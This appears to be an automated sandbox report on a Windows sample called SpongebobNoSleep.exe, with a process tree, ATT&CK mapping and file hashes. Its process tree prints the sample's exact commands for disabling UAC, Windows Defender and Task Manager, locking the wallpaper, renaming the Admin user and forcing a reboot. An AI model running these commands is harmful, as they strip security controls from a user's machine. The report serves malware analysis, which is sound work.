  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8032 /prefetch:1
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6708 /prefetch:1
  2⤵
  PID:2088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7864 /prefetch:1
  2⤵
  PID:5348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8072 /prefetch:1
  2⤵
  PID:5620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4960 /prefetch:1
  2⤵
  PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7200 /prefetch:1
  2⤵
  PID:2868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7408 /prefetch:1
  2⤵
  PID:5612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:3028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2804 /prefetch:1
  2⤵
  PID:3648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8120 /prefetch:1
  2⤵
  PID:2940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8016 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
  2⤵
  PID:732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7724 /prefetch:1
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1856 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7944 /prefetch:1
  2⤵
  PID:4676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2036 /prefetch:1
  2⤵
  PID:5652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6740 /prefetch:1
  2⤵
  PID:3024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8528 /prefetch:1
  2⤵
  PID:1872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3940 /prefetch:1
  2⤵
  PID:368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8784 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8524 /prefetch:1
  2⤵
  PID:6016

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4828

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4792

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5296

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x39c 0x2ec
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4288

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:116

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4036

C:\Users\Admin\Documents\SpongebobNoSleep\SpongebobNoSleep.exe
"C:\Users\Admin\Documents\SpongebobNoSleep\SpongebobNoSleep.exe"
1⤵
PID:3464
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1679.tmp\SpongebobNoSleep.cmd""
  2⤵
  PID:1812
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:5420
- - C:\Windows\SysWOW64\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:4992
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5024
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2868
- - C:\Windows\SysWOW64\reg.exe
    Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:5384
- - C:\Windows\SysWOW64\reg.exe
    REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2296
- - C:\Windows\SysWOW64\net.exe
    net user Admin /fullname:"SPONGEBOB FOUND YOU!!!"
    3⤵
    PID:5904
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Admin /fullname:"SPONGEBOB FOUND YOU!!!"
      4⤵
      PID:5908
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 00
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5164

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38db055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4552

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6132733f146ca4bfebb54bfc634c9985

SHA1
d1735b21c25e4fd7d0c74e94fb9e45e37f663337

SHA256
1411794f3568e111fb139fe95e5b30e9c816c5c41baf70d89fc7c009bab7a8f3

SHA512
d5437a986793b801200e3802a0c9d52b17e3d9a4839a36f07bff5cdee70dade8c4f6500f63756c72a9c822a052fd79255d7e3beab018a02582fd202c3f5e3b5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a17705e2f3a976e4c02a9d6d5d4e13a6

SHA1
8553af3ea0a2b4090c62df7a27e7a3f159cee1ed

SHA256
605fa578f2878cfe4a3ce3074ac24ea75ff76fc6072871f2cfa40d60afcdc385

SHA512
4498bf51865f8d9ae1da81a84c523756b725d786633df744f3ed0f25e98ca0d0be1cb47bbdc7ef5763e79d64ca938a3f80b1df2e2bded3f3b7b0c4e777d60ccd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
aa6f46176fbc19ccf3e361dc1135ece0

SHA1
cb1f8c693b88331e9513b77efe47be9e43c43b12

SHA256
2f5ba493c7c4192e9310cea3a96cfec4fd14c6285af6e3659627ab177e560819

SHA512
5d26fdffebeb1eb5adde9f7da19fe7069e364d3f68670013cb0cc3e2b40bf1fbcb9bdebbfe999747caf141c88ccd53bd4acf2074283e4bde46b8c28fbae296f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1af9fbc1d4655baf2df9e8948103d616

SHA1
c58d5c208d0d5aab5b6979b64102b0086799b0bf

SHA256
e83daa7b2af963dbb884d82919710164e2337f0f9f5e5c56ee4b7129d160c135

SHA512
714d0ff527a8a24ec5d32a0a2b74e402ee933ea86e42d3e2fb5615c8345e6c09aa1c2ddf2dea53d71c5a666483a3b494b894326fea0cc1d8a06d3b32ec9397d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\54698349-1f7b-4254-a2bf-7fb3b06efe1e.tmp

Filesize
6KB

MD5
1d6e863bcd23f0c261ff0faa68ce0e59

SHA1
7269ff9744d2ac6ece940341b93ca4377e6af74b

SHA256
4558d7bd5449c25827866f4da0a60887a9797f5f1fcf1850559737f98bcbc595

SHA512
229893b1d3023b18cbcbd424509e959bb072704e91492f1095771aaef6bbc14c9e366318e87f60a2af534604228958ae7261f0137dcfac46b9de37cbb494d88b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

Filesize
64KB

MD5
d6b36c7d4b06f140f860ddc91a4c659c

SHA1
ccf16571637b8d3e4c9423688c5bd06167bfb9e9

SHA256
34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

SHA512
2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
69KB

MD5
a127a49f49671771565e01d883a5e4fa

SHA1
09ec098e238b34c09406628c6bee1b81472fc003

SHA256
3f208f049ffaf4a7ed808bf0ff759ce7986c177f476b380d0076fd1f5482fca6

SHA512
61b54222e54e7ab8743a2d6ca3c36768a7b2cf22d5689a3309dee9974b1f804533720ea9de2d3beab44853d565a94f1bc0e60b9382997abcf03945219f98d734

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
30KB

MD5
452cee87a193d291cf0394c0a8f961c9

SHA1
5ed43fad7737f776e85433d7fe7aa70d37eb4606

SHA256
6c31786e9b268be9d7e56b3e519845551550a8b0df4d3f55fbaf947378446c61

SHA512
355afabaa3be9194b4d47800be51e0ccecd9a857364fa57063b0866ee7595d33def0aed28eff297e582d16978e1ffb61921f3ee723e7c5e940dd48197b472500

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

Filesize
19KB

MD5
2e86a72f4e82614cd4842950d2e0a716

SHA1
d7b4ee0c9af735d098bff474632fc2c0113e0b9c

SHA256
c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f

SHA512
7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

Filesize
63KB

MD5
710d7637cc7e21b62fd3efe6aba1fd27

SHA1
8645d6b137064c7b38e10c736724e17787db6cf3

SHA256
c0997474b99524325dfedb5c020436e7ea9f9c9a1a759ed6daf7bdd4890bdc2b

SHA512
19aa77bed3c441228789cf8f931ca6194cc8d4bc7bb85d892faf5eaeda67d22c8c3b066f8ceda8169177da95a1fe111bd3436ceeaf4c784bd2bf96617f4d0c44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

Filesize
88KB

MD5
b38fbbd0b5c8e8b4452b33d6f85df7dc

SHA1
386ba241790252df01a6a028b3238de2f995a559

SHA256
b18b9eb934a5b3b81b16c66ec3ec8e8fecdb3d43550ce050eb2523aabc08b9cd

SHA512
546ca9fb302bf28e3a178e798dd6b80c91cba71d0467257b8ed42e4f845aa6ecb858f718aac1e0865b791d4ecf41f1239081847c75c6fb3e9afd242d3704ad16

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

Filesize
1.1MB

MD5
eeb2da3dfe4dbfa17c25b4eb9319f982

SHA1
30a738a3f477b3655645873a98838424fabc8e21

SHA256
fbfee0384218b2d1ec02a67a3406c0f02194d5ce42471945fbaed8d03eaf13f3

SHA512
d014c72b432231b5253947d78b280c50eac93ab89a616db2e25ead807cab79d4cb88ffe49a2337efb9624f98e0d63b4834ab96f0d940654fc000868a845084fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a

Filesize
33KB

MD5
3cd0f2f60ab620c7be0c2c3dbf2cda97

SHA1
47fad82bfa9a32d578c0c84aed2840c55bd27bfb

SHA256
29a3b99e23b07099e1d2a3c0b4cff458a2eba2519f4654c26cf22d03f149e36b

SHA512
ef6e3bbd7e03be8e514936bcb0b5a59b4cf4e677ad24d6d2dfca8c1ec95f134ae37f2042d8bf9a0e343b68bff98a0fd748503f35d5e9d42cdaa1dc283dec89fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

Filesize
75KB

MD5
cf989be758e8dab43e0a5bc0798c71e0

SHA1
97537516ffd3621ffdd0219ede2a0771a9d1e01d

SHA256
beeca69af7bea038faf8f688bf2f10fda22dee6d9d9429306d379a7a4be0c615

SHA512
f8a88edb6bcd029ad02cba25cae57fdf9bbc7fa17c26e7d03f09040eb0559bc27bd4db11025706190ae548363a1d3b3f95519b9740e562bb9531c4d51e3ca2b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c

Filesize
105KB

MD5
24cab279a1b1479cd2848b4cf4db97d8

SHA1
c59c889167dfa25ea85e0ab5b93db29270cd9a3a

SHA256
2feef54f715ea3e6192ec7a9d30e910044968a41d8fe91fc9b1b469ad574df51

SHA512
d1ec7ed765e5ec1b5e095a917437ddcd783ad01a1d6025f1125906617afc24e1d3a9cd702616d18c4231e5ffe60e5326a8dee855db42bc417568283c310e5c10

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000d

Filesize
155KB

MD5
65b00bec774c969842aceb3199fbe254

SHA1
bd464411b9578497f081a5f8b6c04180b6ee0f0a

SHA256
d604e67e9d16b6b3d2f10687a36ec00597c48288fa60bfa957bd3ca78eadceda

SHA512
0c89ad2ca25ecd9058e42ed477bf6cd1512859c7ac63701206a82f2591b2878acc7f9354b6a23245fd186ca9b3c809cf7700c0e3e43f469c37580d8531d3beac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e

Filesize
109KB

MD5
bb3fc9718561b34e8ab4e7b60bf19da6

SHA1
61c958bedf93d543622351633d91ad9dda838723

SHA256
d6ea500b6752094a4c340d4f5ed01afdca1925006077560d9a3f56054cd8d141

SHA512
97da30e9a0d14e6f9151539b77b2216e0f6b6cc4742f075077f9ff92f46f8b97e82f020c562625261eaa01bcf810ce81c0b7b71340ac566aef1bef5a07dac63e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000016

Filesize
40KB

MD5
3051c1e179d84292d3f84a1a0a112c80

SHA1
c11a63236373abfe574f2935a0e7024688b71ccb

SHA256
992cbdc768319cbd64c1ec740134deccbb990d29d7dccd5ecd5c49672fa98ea3

SHA512
df64e0f8c59b50bcffb523b6eab8fabf5f0c5c3d1abbfc6aa4831b4f6ce008320c66121dcedd124533867a9d5de83c424c5e9390bf0a95c8e641af6de74dabff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000017

Filesize
53KB

MD5
68f0a51fa86985999964ee43de12cdd5

SHA1
bbfc7666be00c560b7394fa0b82b864237a99d8c

SHA256
f230c691e1525fac0191e2f4a1db36046306eb7d19808b7bf8227b7ed75e5a0f

SHA512
3049b9bd4160bfa702f2e2b6c1714c960d2c422e3481d3b6dd7006e65aa5075eed1dc9b8a2337e0501e9a7780a38718d298b2415cf30ec9e115a9360df5fa2a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_0000d5

Filesize
37KB

MD5
1db559d5a90934ca4269e4a6dcf5e60f

SHA1
fdd6707c372b71e2d75a928d824ec2ed5794faad

SHA256
3106f79cb71ac20b0fe040ff0f0a5b9fff409fa283e85fbf35c6c98ee77d721d

SHA512
8a9f4135d271569dac43930523bee499050a22bc65dd3dcd0a79f72a667b9c6bf07cb987210bcbbe3525473f94c0efd95bbc2d20ac6e0b34488370bd8d87d751

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_0000e2

Filesize
61KB

MD5
1971e737391eabf87667012e84069a5a

SHA1
8fd29644afc6da70873c25f9bf9d1c495c759843

SHA256
c9aab23276584648e971c3745fca3bed6d9e4c7e373bf3dc7ad316f2aef42fd3

SHA512
23062a1d410b69532d3bf97ec7d1fa3c27e974613326fe3a3d80f909d595bda78f2ba366bcd612e494ecee1af1493264d0044a26fae604466e5437a25da6280b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00010f

Filesize
22KB

MD5
438d99fea4932ea1fc763b647853d1fb

SHA1
48c5c7d6c71ef140ed4c84cda82da40a76fcb579

SHA256
8bd123bedaa8734ca3ba2a6a16b462b045e5a6d1b6a4718b5ff495663e87ebcd

SHA512
4ce4110e865d87ab0cdc8e973cff53931f26e780eaab96eb923c20689ccc5f8f04d3ddf58de93180b78de8c6ee97424d66d64d8ff01a29a58e7bd3d44705445f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00011d

Filesize
40KB

MD5
0d88b6dc1940261bf9b3e0501b18df2d

SHA1
c50433068b4816053c54619a62f2692f9120fce2

SHA256
a2a443ae31d3d17316a3693b6d8f1b616089ff7356aad6d9bfdbfc7eb230e7c1

SHA512
9e4b9d33ce01bf0a622c1c08518dc942237be3aa244aadfebbb917b0509a8260b9799b179605567e95665f1e2b29a3dbfd1890d9a6b3fefeddcc01cdd0895cd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00011e

Filesize
47KB

MD5
04bc3f109022fe6146d2248fb0203db8

SHA1
1a35eb58fa96b199e5f03ad2c195801439003c21

SHA256
b5e106fa847476b0dc641777a523c145f9fb0296587a9cdd922a7c095c155c95

SHA512
13c2bce8513a93cabe6d6bcd9d14fe92f6e80172aa0c2d649c8384faa0de7f7c2bb6f9c00220a655abf5f527e932ed5f8c22b411b557bd4231bd596cd2753fc6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000146

Filesize
49KB

MD5
4b4947c20d0989be322a003596b94bdc

SHA1
f24db7a83eb52ecbd99c35c2af513e85a5a06dda

SHA256
96f697d16fbe496e4575cd5f655c0edb07b3f737c2f03de8c9dda54e635b3180

SHA512
2a3443e18051b7c830517143482bf6bffd54725935e37ee58d6464fac52d3ce29c6a85fc842b306feaa49e424ba6086942fc3f0fea8bb28e7495070a38ce2e59

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000147

Filesize
43KB

MD5
8d1ef1b5e990728dc58e4540990abb3c

SHA1
79528be717f3be27ac2ff928512f21044273de31

SHA256
3bdb20d0034f62ebaa1b4f32de53ea7b5fd1a631923439ab0a24a31bccde86d9

SHA512
cd425e0469fdba5e508d08100c2e533ef095eeacf068f16b508b3467684a784755b1944b55eb054bbd21201ba4ce6247f459cc414029c7b0eb44bdb58c33ff14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000148

Filesize
24KB

MD5
1deeafca9849f28c153a97f5070355d6

SHA1
03b46b765150a2f308353bcb9838cbdd4e28f893

SHA256
b1639f4ce0285c41f4bd666f3fae4767094e3042b0379646b5ccfe04ef01ec19

SHA512
52122b7e3ca9b58eab42fc652c24b4b8c17c43970f88860372d8377c49c540c31ddc81b519f4d59d34e199571758f82ab2fea0737ac1f847b3d4dd75d7acac19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000149

Filesize
28KB

MD5
bcf8a9566c19c82f4bdb43f53a912bab

SHA1
aedbcfb45eed11b7ad362b53ff32bacec9f932ee

SHA256
52c97dd2602b4d9ac70b61c3dd9b0f9869c5c211e2a4b52e94eda5e150349ae7

SHA512
cfec8603b3eecc261735ddb3d9f292f47e5e34761d73c33b8a1fa1efcf8e07b9b5595a28eac3b238842cf1f63a155b0376840f42ab22ad3186390bcfbc62adfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014a

Filesize
20KB

MD5
8b2813296f6e3577e9ac2eb518ac437e

SHA1
6c8066353b4d463018aa1e4e9bb9bf2e9a7d9a86

SHA256
befb3b0471067ac66b93fcdba75c11d743f70a02bb9f5eef7501fa874686319d

SHA512
a1ed4d23dfbe981bf749c2008ab55a3d76e8f41801a09475e7e0109600f288aa20036273940e8ba70a172dec57eec56fe7c567cb941ba71edae080f2fdcc1e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014b

Filesize
19KB

MD5
382e5a265d13d3280b41f54973289ab3

SHA1
e36e2cadb13183bc03fa209b8bceae3384dbb0c4

SHA256
827c580a692dc92d7ae2d2d6acb946352dc61cf7676e27b796548cf793161463

SHA512
1b7b50d939d9db580800fe556149107fb4e062d28fdad79b8481af8e713731a1671e6a8a52f966bab82fc13b7a41fdaa225e133e66aef616048b39beccdad251

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014c

Filesize
63KB

MD5
9237549144b5166af8e30fd88adb7e6f

SHA1
a6c5e62b29ed242a9a44d9769e6bfe99e26d6da7

SHA256
68379721c4065ca1c7c8f091cf53afaa4cf0cbb93e280e937a5f6b4573d9e10f

SHA512
1c17553cff7e0b3549e7f5648ecc062e48862b9cd15b349445622a36f65e3d3361f842f8b99448356ed909208d0944977d1b78ce06e62ab333b215d049dff31f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014d

Filesize
29KB

MD5
3151d288db2ebf2cdeceadbf9802592f

SHA1
d116b1588f36b90dbc30adc9f23923cca3f2f9df

SHA256
41d97fff19c888e615cc7016e72e4870efb5de6dc72a654ff9b174c9a61459ca

SHA512
2b579ebc1a9c2dbbc159edd389218dd4673100ec19918c9187778e4ec7b4797847c0745c886721d442032188a846e7cef3e3011754f8db22365f22df94c5b88a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014e

Filesize
18KB
